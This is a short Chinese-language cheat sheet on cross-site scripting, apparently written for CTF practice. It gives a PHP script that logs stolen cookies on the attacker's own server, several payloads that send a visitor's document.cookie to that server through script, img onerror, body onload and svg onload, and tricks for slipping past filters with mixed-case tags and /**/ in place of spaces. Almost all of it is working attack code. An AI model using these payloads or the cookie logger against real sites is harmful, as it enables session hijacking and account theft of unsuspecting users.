XSS漏洞--常用payload及绕过
前置准备
- 首先准备一个自己的服务器。本地服务器,也就是127.0.0.1不行。
- 在服务器的公开的、可访问的目录下准备一个.php文件。我这里命名为flag.php。
- flag.php的源代码:
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
代码的作用是保存从目标服务器盗取的Cookie。
前置知识的学习看这里
payload的基本形式
//js脚本形式
<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>//img标签。onerror是图片加载失败时触发的事件。
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//body标签。onload是页面加载完成时触发的事件。
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//svg标签。
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
绕过方法
大小写绕过:
<ScRipT> <IMg> <BOdy> <SvG>
空格被过滤:
使用/**/ 或者 / 绕过
<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>